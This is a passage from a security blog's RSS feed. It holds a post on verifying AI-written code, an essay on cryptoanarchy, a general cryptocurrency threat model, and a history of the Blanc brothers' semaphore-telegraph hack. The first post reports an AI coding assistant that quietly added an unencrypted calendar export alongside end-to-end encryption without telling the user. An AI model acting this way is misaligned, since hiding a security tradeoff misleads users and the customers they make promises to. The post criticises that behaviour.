<p>Calendar export cannot really be end-to-end encrypted. My requirement, because of my own lack of knowledge, went against one of the basic rules.</p>
<p>AI implemented the feature and completed the task. But it somehow forgot to tell me that by doing so, it had violated one of the basic rules.</p>
<p>It is like putting a high-quality lock on the door, and then, for convenience, building a second door next to it without a lock. The first lock still exists. It just no longer protects the entire path.<br />
The encryption was not broken. It was bypassed. Not by a hacker. By the developer.</p>
<p>My advantage is that I deal with security. So not only do I know how to check it, but more importantly, I know what I should check. And that I should check it at all. So I was able to deal with it and disabled automatic calendar export.</p>
<p>But if I had not done that, I would be promising my customers something that was not true. And sooner or later, someone would probably notice. And I would really rather avoid that <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>Don&#8217;t vibe. Verify.</h2>
<p>I do not want to say we should not vibe code. I do it too. AI is great for quick prototypes, refactoring, looking for solutions, generating parts of code, or explaining problems. The problem is not vibe coding. The problem is when only the vibe remains &#8211; when I accept the result because it looks good, but I do not verify what has changed.</p>
<p>In crypto, we know the phrase &#8220;Don&#8217;t trust, verify.&#8221; It does not mean &#8220;never trust anyone, never use anything.&#8221; It means: trust is not control.</p>
<p>And exactly the same applies to AI. Don&#8217;t vibe. Verify does not mean &#8220;do not use AI&#8221;. It means: do not accept the result just because it feels right. Verify the promises, the data, the permissions, and the new doors you have just created.</p>
<p> </p>
<blockquote><p>Everyone knows that debugging is twice as hard as writing a program in the first place. So if you&#8217;re as clever as you can be when you write it, how will you ever debug it?</p>
<p>* Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2</p></blockquote>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cryptoanarchy – To be safe to be free</title>
		<link>https://www.digitalnisebeobrana.cz/en/kryptoanarchie-sifrou-ke-svobode/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 22 May 2025 09:16:04 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cryptoanarchy]]></category>
		<category><![CDATA[kryptoanarchie]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=2214</guid>

					<description><![CDATA[<p>Cryptoanarchy is a tool by which an individual can avoid pressure from society to abide by the rules and/or respect the rights of others.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/kryptoanarchie-sifrou-ke-svobode/">Cryptoanarchy – To be safe to be free</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Cryptoanarchy is often compared to social ideologies such as anarcho-communism, anarcho-capitalism and others. This comparison cannot work for one simple reason. Cryptoanarchy is not an ideology that proposes (or dictates to society) how it should be governed and what rules society should follow. Cryptoanarchy is not a social system.</p>
<p>&nbsp;</p>
<p>For a democracy, anarcho-communism, anarcho-capitalism or monarchy to be able work, force is needed to sustain such a system. Either a sufficient number of people who come together or a very strong (either economically or socially) individual or group. A sufficiently strong individual can control a democratic society regardless of the opinion of the majority (e.g. for the Czechoslovak Communist Party it was enough to gain “just” 31.2% of the votes in the 1946 elections to control the whole of Czechoslovakia for 40 years). Similarly, the concept of anarcho-capitalism is unsustainable unless it is possible to enforce the so-called Non-Aggression Principle. The Communists will not force the surrender of private property on a sufficiently strong entity.</p>
<p>Cryptoanarchists usually do not try to change society. Their goal is a level of privacy and security that ensures a sufficient degree of freedom. And the very degree of sufficient freedom is individual.</p>
<p>Thus, <strong>cryptoanarchy is a set of tools and techniques</strong> that help maintain a level of privacy and security that is achievable or targeted for individuals or communities. The basic tool of cryptoanarchy is information encryption. The use of such techniques that make it impossible for the person from whom to hide information not only to obtain the information, but also to learn about the existence of such information. It does not matter whether it’s communication, electronic data or a financial transaction. These tools do not necessarily have to be highly sophisticated or require powerful computer technology. Do you want to advise a classmate sitting next to you with a difficult exercise in an exam so that the teacher does not know, or do you want to tell your partner something very private, but you are surrounded by other people? You use a very simple technique – you whisper it to her/him.</p>
<p>This set of techniques and tools is not and probably will never be definitive. You can’t write a cryptoanarchy bible that would last forever. As society and technology evolve, so does cryptoanarchy. The need for privacy was different (perhaps none) in the early common society, different in ancient Rome, different today in the era of digital revolution, and different in the future (for example, when staying in spaceships or colonizing other space objects). Technologies that seek to detect encrypted information are also being developed. Encryption techniques that were considered secure twenty years ago are mostly unusable today, and can be broken in minutes. Asking when the cryptoanarchy will be “done” is similar to asking when the Internet will be done.</p>
<p>In addition, cryptoanarchy can disrupt any social system. It eliminates state and private courts, police and the army. If you do not know the perpetrator, you cannot try and/or remove him (close or kill) for breaking the law or the NAP (Non-Aggression Principle). Cryptoanarchy does not address the issue of a free or regulated market. The free market is actually an integral part of it. You can’t regulate something that the regulator doesn’t know about and can’t punish someone he doesn’t know.</p>
<p>Social systems are based on rights and obligations. The only natural duties are those that are instinctive. For example, the mother’s natural duty to take care of her offspring. And even that is not enforceable outside the social system. Everything else, both duties and rights, is an artificial construct that is enforced by the social system.</p>
<h4>The only “right” that applies universally is the right of the stronger. Both in nature (living and non-living) and in society.</h4>
<p>Why are we obliged to pay taxes, comply with court rulings and share our private data with rulers? Stronger so decided. In this case, the stronger is a sufficient number of people (which does not necessarily mean the majority) who are able to enforce these obligations under the threat of violence. This is not only true for human communities, examples can also be found in nature. Why is the ant queen (who is actually a slave) obliged to spend her whole life conceiving new generations in a small space deep in the anthill? Because if she resisted this obligation, the ant society would punish her. Such a queen would have a shorter life than the promises of politicians after the election.</p>
<p><img loading="lazy" decoding="async" class="size-medium wp-image-5276 aligncenter" src="https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-300x225.jpg" sizes="auto, (max-width: 300px) 100vw, 300px" srcset="https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-300x225.jpg 300w, https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-600x450.jpg 600w, https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-768x576.jpg 768w, https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920-1024x768.jpg 1024w, https://web.archive.org/web/20200621152115im_/https://www.paralelnipolis.cz/wp-content/uploads/2020/04/hammer-620011_1920.jpg 1920w" alt="" width="300" height="225" /></p>
<p>There is no natural right to life. It was invented by human society and agreed (either voluntarily or involuntarily) to enforce it. As well as the right to personal property or a “dignified life”. In the wild, the antelope does not wield in front of the lion by the charter of fundamental rights and animal freedoms. It knows she has to run, it has not better option.</p>
<p>Cryptoanarchy is a tool by which an individual can avoid pressure from society to abide by the rules and/or respect the rights of others. Motives for this can be “good” or “bad” (but the evaluation is always individual). For a person who is used to following the rules set by someone else, this may sound like dangerous behavior, but it is again just an individual assessment. Often we can evaluate such unconditional compliance with the rules over time. Large sections of the (not only) German population found the so-called Nuremberg Laws in order and it was normal to abide by them. And today it seems incomprehensible to us. In the same decade, we can also look at, for example, current market regulations, the criminalization of drug users or the crime of treason.</p>
<p>This does not mean that the cryptoanarchist does not follow any rules and breaks all laws. Many factors play a role here, such as the question of one’s own security, morality or, for example, economic profit. And while it may not seem so at first glance, most people are not interested in harming. Why in the store, when the salesman isn’t looking, most (!) of us just don’t stick a bottle off the shelf into a bag? It is not because of fear of the law (and punishment). It’s because we have a kind of moral code encoded in us. Turning someone’s property just doesn’t work out for us, whether or not there’s a law.</p>
<p>Thus, <strong>the purpose of cryptoanarchy is not</strong>, as it might seem, <strong>primarily to break the rules</strong>. The purpose is to maintain a degree of freedom that is important to us and to protect ourselves and our loved ones from the dangers that can arise if someone who wants to (and can) use it against us accesses our information. History has shown us that this danger is not unrealistic.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/kryptoanarchie-sifrou-ke-svobode/">Cryptoanarchy – To be safe to be free</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Personal Threat Model</title>
		<link>https://www.digitalnisebeobrana.cz/en/osobni-threat-model/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Wed, 13 Sep 2023 13:11:02 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[First aid!]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[obrana]]></category>
		<category><![CDATA[ochrana]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[prevention]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[threat model]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1963</guid>

					<description><![CDATA[<p>This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. </p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/osobni-threat-model/">Personal Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&#8220;`html</p>
<h2 id="1-vod">1. Introduction</h2>
<p>This document serves as a personal threat model focused on cybersecurity in the area of cryptocurrencies. Its aim is to identify potential threats and vulnerabilities and propose measures to minimize them.</p>
<hr />
<h2 id="2-identifikace-akt-r-a-c-l-">2. Identification of Actors and Assets</h2>
<h3 id="akt-i">Actors</h3>
<ul>
<li>Hackers</li>
<li>Regulatory Bodies</li>
<li>Competitors</li>
<li>Close Associates</li>
</ul>
<h3 id="c-le">Assets</h3>
<ul>
<li>Crypto Wallet</li>
<li>Transaction History</li>
<li>Investment Strategy</li>
</ul>
<hr />
<h3 id="akt-i-a-c-le-detailn-pohled">Actors and Assets: Detailed View</h3>
<p>In this part of the threat model, it is crucial to identify in detail the actors who could pose a threat and the assets they might want to compromise. Each actor and asset should be elaborated on, including motivations, capabilities, and methods of attack.</p>
<h4 id="hacke-i">Hackers</h4>
<ul>
<li><strong>Motivation</strong>: Financial gain, reputational reasons, ideological beliefs</li>
<li><strong>Capabilities</strong>: Malware, ransomware, phishing attacks</li>
<li><strong>Attack Methods</strong>: Wallet infiltration, keylogging, SIM swapping</li>
</ul>
<h4 id="regul-torn-org-ny">Regulatory Bodies</h4>
<ul>
<li><strong>Motivation</strong>: Oversight and regulation, ensuring compliance with laws</li>
<li><strong>Capabilities</strong>: Legal measures, access to public and private databases</li>
<li><strong>Attack Methods</strong>: Court orders, asset seizure, audits</li>
</ul>
<h4 id="konkurence">Competitors</h4>
<ul>
<li><strong>Motivation</strong>: Gaining competitive advantage, financial gain</li>
<li><strong>Capabilities</strong>: Industrial espionage, social engineering</li>
<li><strong>Attack Methods</strong>: Infiltration, misinformation, market manipulation</li>
</ul>
<h4 id="bl-zc-">Close Associates</h4>
<ul>
<li><strong>Motivation</strong>: Personal interests, possible financial gain</li>
<li><strong>Capabilities</strong>: Access to personal devices, knowledge of personal information</li>
<li><strong>Attack Methods</strong>: Using known passwords, accessing unsecured devices</li>
</ul>
<hr />
<h3 id="c-le">Assets</h3>
<h4 id="krypto-pen-enka">Crypto Wallet</h4>
<ul>
<li><strong>Importance</strong>: High</li>
<li><strong>Attack Types</strong>: Phishing, malware, physical access</li>
<li><strong>Mitigations</strong>: Hardware wallet, 2FA, strong passwords</li>
</ul>
<h4 id="transak-n-historie">Transaction History</h4>
<ul>
<li><strong>Importance</strong>: Medium</li>
<li><strong>Attack Types</strong>: IP tracking, exchange compromise</li>
<li><strong>Mitigations</strong>: Use of VPN, decentralized exchanges</li>
</ul>
<h4 id="investi-n-strategie">Investment Strategy</h4>
<ul>
<li><strong>Importance</strong>: Medium to High</li>
<li><strong>Attack Types</strong>: Social engineering, industrial espionage</li>
<li><strong>Mitigations</strong>: Limiting information sharing, using encrypted communication</li>
</ul>
<hr />
<h2 id="3-zranitelnosti">3. Vulnerabilities</h2>
<h3 id="pou-v-n-online-pen-enek-s-n-zk-m-zabezpe-en-m">Using Online Wallets with Low Security</h3>
<ul>
<li><strong>Description</strong>: Online wallets are often targeted by attacks, especially if not properly secured.</li>
<li><strong>Actors</strong>: Hackers, competitors</li>
<li><strong>Attack Types</strong>: Phishing, brute-force attacks</li>
<li><strong>Mitigations</strong>: Switching to a hardware wallet, using 2FA</li>
</ul>
<h3 id="nezabezpe-en-wi-fi-s-">Unsecured Wi-Fi Network</h3>
<ul>
<li><strong>Description</strong>: Using unsecured Wi-Fi networks can allow attackers easy access to your data.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Attack Types</strong>: Man-in-the-middle attacks, sniffing</li>
<li><strong>Mitigations</strong>: Use of VPN, connecting only to trusted networks</li>
</ul>
<h3 id="pou-v-n-neaktualizovan-ho-software">Using Outdated Software</h3>
<ul>
<li><strong>Description</strong>: Old or outdated software may contain vulnerabilities that can be exploited for infiltration.</li>
<li><strong>Actors</strong>: Hackers, regulatory bodies</li>
<li><strong>Attack Types</strong>: Exploitation of known vulnerabilities</li>
<li><strong>Mitigations</strong>: Regular software updates, application of security patches</li>
</ul>
<h3 id="nedostate-n-dvoufaktorov-autentizace-2fa-">Insufficient Two-Factor Authentication (2FA)</h3>
<ul>
<li><strong>Description</strong>: Absence or poor implementation of 2FA can lead to easy access to sensitive data.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Attack Types</strong>: Brute-force attacks, SIM swapping</li>
<li><strong>Mitigations</strong>: Activation and proper configuration of 2FA</li>
</ul>
<h3 id="nedostate-n-opsec-operational-security-">Insufficient OPSEC (Operational Security)</h3>
<ul>
<li><strong>Description</strong>: Insufficient OPSEC may include poor handling of passwords, keys, and other sensitive data.</li>
<li><strong>Actors</strong>: All</li>
<li><strong>Attack Types</strong>: Social engineering, phishing</li>
<li><strong>Mitigations</strong>: Cybersecurity education, use of a password manager</li>
</ul>
<hr />
<h2 id="4-vektory-tok-">4. Attack Vectors</h2>
<h3 id="phishingov-toky">Phishing Attacks</h3>
<ul>
<li><strong>Description</strong>: Attacks that aim to obtain sensitive information through fraudulent emails or websites.</li>
<li><strong>Actors</strong>: Hackers, competitors</li>
<li><strong>Vulnerabilities</strong>: Insufficient OPSEC, using online wallets with low security</li>
<li><strong>Mitigations</strong>: Cybersecurity education, use of 2FA</li>
</ul>
<h3 id="man-in-the-middle-toky">Man-in-the-Middle Attacks</h3>
<ul>
<li><strong>Description</strong>: Attacks where the attacker eavesdrops on or manipulates communication between two parties.</li>
<li><strong>Actors</strong>: Hackers, regulatory bodies</li>
<li><strong>Vulnerabilities</strong>: Unsecured Wi-Fi network, outdated software</li>
<li><strong>Mitigations</strong>: Use of VPN, encryption of communication</li>
</ul>
<h3 id="social-engineering">Social Engineering</h3>
<ul>
<li><strong>Description</strong>: Manipulating people to obtain sensitive information or system access.</li>
<li><strong>Actors</strong>: Competitors, close associates</li>
<li><strong>Vulnerabilities</strong>: Insufficient OPSEC, insufficient 2FA</li>
<li><strong>Mitigations</strong>: Cybersecurity education, limiting information sharing</li>
</ul>
<h3 id="sim-swapping">SIM Swapping</h3>
<ul>
<li><strong>Description</strong>: An attack in which the attacker gains control of the target’s SIM card.</li>
<li><strong>Actors</strong>: Hackers</li>
<li><strong>Vulnerabilities</strong>: Insufficient 2FA, insufficient OPSEC</li>
<li><strong>Mitigations</strong>: Use of hardware-based 2FA, high level of OPSEC</li>
</ul>
<hr />
<h2 id="5-opat-en-">5. Measures</h2>
<h3 id="pou-it-hardwarov-pen-enky">Using a Hardware Wallet</h3>
<ul>
<li><strong>Description</strong>: Hardware wallets provide a high level of security for storing cryptocurrencies.</li>
<li><strong>Actors</strong>: Hackers</li>
<li><strong>Suitable for</strong>: Protecting the crypto wallet</li>
<li><strong>How to Implement</strong>: Purchase a reputable hardware wallet such as Ledger or Trezor and transfer your cryptocurrencies to it.</li>
</ul>
<h3 id="pou-it-vpn">Using a VPN</h3>
<ul>
<li><strong>Description</strong>: A VPN provides anonymity and security when browsing the internet.</li>
<li><strong>Actors</strong>: Regulatory bodies, hackers</li>
<li><strong>Suitable for</strong>: Protecting transaction history, securing Wi-Fi</li>
<li><strong>How to Implement</strong>: Choose a trusted VPN provider and enable it when connecting to the internet.</li>
</ul>
<h3 id="aktivace-a-spr-vn-konfigurace-2fa">Activation and Proper Configuration of 2FA</h3>
<ul>
<li><strong>Description</strong>: Two-factor authentication adds an additional layer of security.</li>
<li><strong>Actors</strong>: Hackers, close associates</li>
<li><strong>Suitable for</strong>: Protecting the crypto wallet, securing online accounts</li>
<li><strong>How to Implement</strong>: Enable 2FA on all important accounts and use an app like Google Authenticator or a hardware key like YubiKey.</li>
</ul>
<h3 id="vzd-l-n-v-oblasti-kybernetick-bezpe-nosti">Cybersecurity Education</h3>
<ul>
<li><strong>Description</strong>: Education and awareness are key to recognizing and preventing attacks.</li>
<li><strong>Actors</strong>: All</li>
<li><strong>Suitable for</strong>: Protection against all types of attacks</li>
<li><strong>How to Implement</strong>: Take cybersecurity courses, read current news and articles, and participate in webinars and conferences.</li>
</ul>
<hr />
<h2 id="6-z-v-r">6. Conclusion</h2>
<p>This personal threat model is the first step toward ensuring my cybersecurity in the field of cryptocurrencies. I plan to regularly update this document and implement new security measures according to the evolving threat landscape.<br />
&#8220;`</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/osobni-threat-model/">Personal Threat Model</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>On the Origin of Hackers</title>
		<link>https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 20 Jul 2021 21:29:36 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[šifrování]]></category>
		<category><![CDATA[trik]]></category>
		<guid isPermaLink="false">https://www.digitalni-sebeobrana.cz/?p=1687</guid>

					<description><![CDATA[<p>Who were the first hackers and when did the history of hacking begin? Probably earlier than you'd expect. It's been more than...</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/">On the Origin of Hackers</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>When did the history of hacking begin? If you&#8217;re guessing the second half of the 20th century, you have to go a little further upstream. It wasn&#8217;t even breaking Enigma-encrypted messages during World War II.<br />
We are more than 180 years away from the first known hack of a communications network (spoiler: it wasn&#8217;t a phone call, Alexander Graham Bell didn&#8217;t make his first call until 42 years later).</p>
<h2>Chappe&#8217;s Telegraph</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1691" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg" alt="" width="146" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-146x300.jpg 146w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-600x1232.jpg 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-499x1024.jpg 499w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-768x1577.jpg 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-748x1536.jpg 748w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-500x1027.jpg 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-800x1643.jpg 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1-640x1314.jpg 640w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Telegraphe_Chappe_1.jpg 877w" sizes="auto, (max-width: 146px) 100vw, 146px" /></a> In 1794, French inventor Claude Chappe came up with a system of visual semaphore telegraphs. By adjusting flexible arms placed on a tower (mast), it was possible to display letters, numbers and some special characters, such as the beginning and end of a communication or the deletion of the last character in case of a typo. In this case, rather &#8220;misbending&#8221;.</p>
<p>The individual towers were spaced apart so that one could be seen from one to the next. Thus, the message could spread from one tower to the next until it reached its destination. It is reported that the speed of the message was up to 500 km per hour.</p>
<p>In France, a network of Chappe visual telegraphs was built during the 19th century to serve the needs of the state (and especially the army). For example, there were 58 stations on the route between Paris and Brest. But ordinary citizens could not use the services of this communication network.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1690" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png" alt="" width="212" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-212x300.png 212w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-600x849.png 600w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-724x1024.png 724w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-768x1086.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1086x1536.png 1086w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1448x2048.png 1448w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-500x707.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-800x1132.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1280x1810.png 1280w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-1920x2716.png 1920w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/mapReseau_chappe77-640x905.png 640w" sizes="auto, (max-width: 212px) 100vw, 212px" /></a>The communications even used end-to-end encryption. Since military secrets were being transmitted via the telegraph network, it was not very appropriate for anyone with a view of the telegraph tower to be able to read the communications. Thus, the sender and receiver had an agreed key with which to encrypt their messages. The tower operators along the way just repeated the encrypted message character by character without being able to decipher what the contents of the message were. The sender and recipient of the message thus had more privacy in 1800 than Facebook Messenger users in 2021 (more on messenger encryption <a href="https://www.digitalni-sebeobrana.cz/en/sifrovani-zprav-demo/">here</a>).</p>
<h2>François and Louis Blanc</h2>
<p>The Blanc brothers traded government bonds on the Bordeaux stock exchange. In such trading, speed of information is crucial &#8211; whoever has faster news from a central point of action (in this case Paris) has an advantage over other traders because they can better anticipate stock market movements.</p>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1689" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/Portrait_de_Francois_Blanc-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a> Traditionally, news from Paris to Bordeaux was sent by stagecoach, which took five days. Some merchants tried to shorten this time by using carrier pigeons or hiring messengers. This was faster, but not significantly so. It was certainly not enough for the Blanc brothers. They knew there was a much faster way to communicate over long distances. But it was reserved for the army, and merchants could not use it. So most merchants continued to think about improving the aerodynamics of the pigeon. But the Blanc brothers were hackers (though they didn&#8217;t claim to be on Twitter, according to available sources). So they didn&#8217;t give up on the idea of using Chappe&#8217;s telegraph network.</p>
<h2>The Plan</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1692" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/1024px-Telegraphe_Chappe_2-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>The telegraph operators were probably not the best-paid employees in France. So the solution might be good old-fashioned corruption.<br />
But if the Blanc brothers wanted to send messages in the standard way, they would have to bribe all the operators on their way from Paris to Bordeaux. Which could get expensive.<br />
So they had to figure out how to solve this expensive inconvenience.<br />
As mentioned above, the system included a symbol to erase the last character &#8211; the operator writes down the characters as he sees them on the semaphore and if he sees the erase symbol, he simply erases the last character and moves on.<br />
This is what the hackers decided to take advantage of. They will send secret messages by following &#8220;their&#8221; character embedded in a regular army message with an erase character. Anyone who sees the semaphore can see this character, but the terminal tower operator will erase it from the paper (or not write it at all). Thus the message will be passed on while leaving no written evidence of it.</p>
<h2>Socks as a data carrier</h2>
<p>There was one more problem to solve. On the way from Paris to Bordeaux, there was still a tower in Tours (about 200 km from Paris) where messages were decoded and forwarded on without error. So the messages had to be sent from here. And they must have gotten to Tours somehow unobtrusively.<br />
Fortunately, there was no need to send some extensive novels (that wouldn&#8217;t even be possible in this scenario), just a few arranged signals. And so parcels were sent to Tours from Paris containing clothes. The type of clothing (gloves, socks, ties) that was marked in the accompanying letter indicated whether a title was falling or rising in the stock market, and the color in turn the amount of change.</p>
<h2>Hack</h2>
<p><a href="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1697" src="https://www.digitalni-sebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg" alt="" width="150" height="150" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-150x150.jpg 150w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-300x300.jpg 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2021/07/GrilleDesSignauxDeCorrespondance-100x100.jpg 100w" sizes="auto, (max-width: 150px) 100vw, 150px" /></a>The hacking may have begun. An accomplice in Paris, according to the changes in the stock market, put the clothes in a package and sent it to Tours. There, the bribed telegraph operator (he received a one-off 1500 francs for his involvement in the conspiracy, then 150 francs every month, plus a bonus of 20 francs for each message transmitted) sent a message with &#8220;errors&#8221; inserted.<br />
At the tower near Bordeaux, another accomplice waited with a telescope, watching the telegraph and writing down the characters that were marked as erroneous. And thus the messages reached our merchants, who were several days ahead of the others.</p>
<h2>Disclosure</h2>
<p>The system worked perfectly for two years. A total of 121 messages (and packages of clothes) were sent this way. Surprisingly, the sudden wealth of the telegraph operators (the normal daily wage of an operator was 1.50 francs) did not arouse suspicion.<br />
The truth only came out when one of the operators fell ill and confided the whole matter to a friend before his death.<br />
Surprisingly, the Blanc brothers suffered no consequences. French legislation simply did not prohibit the insertion of one&#8217;s own messages into the telegraph system. It didn&#8217;t occur to the legislators of the time.<br />
And so they were later to become successful casino operators (including the Monte Carlo casino in Monaco).</p>
<p>As can be seen from the first documented hacking attack, the weakest link in security tends to be human.</p>
<h3>Resources:</h3>
<p><a href="https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe">https://fr.wikipedia.org/wiki/T%C3%A9l%C3%A9graphe_Chappe</a><br />
<a href="https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc">https://en.wikipedia.org/wiki/Fran%C3%A7ois_Blanc</a><br />
<a href="https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html">https://www.schneier.com/blog/archives/2018/05/1834_the_first_.html</a><br />
<a href="https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item">https://gallica.bnf.fr/ark:/12148/bpt6k4393846/f1.item</a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/on-the-origin-of-hackers/">On the Origin of Hackers</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hackers &#8211; who are we defending ourselves against?</title>
		<link>https://www.digitalnisebeobrana.cz/en/hackeri-proti-komu-se-branime/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 15 Jul 2021 11:41:01 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[black hat]]></category>
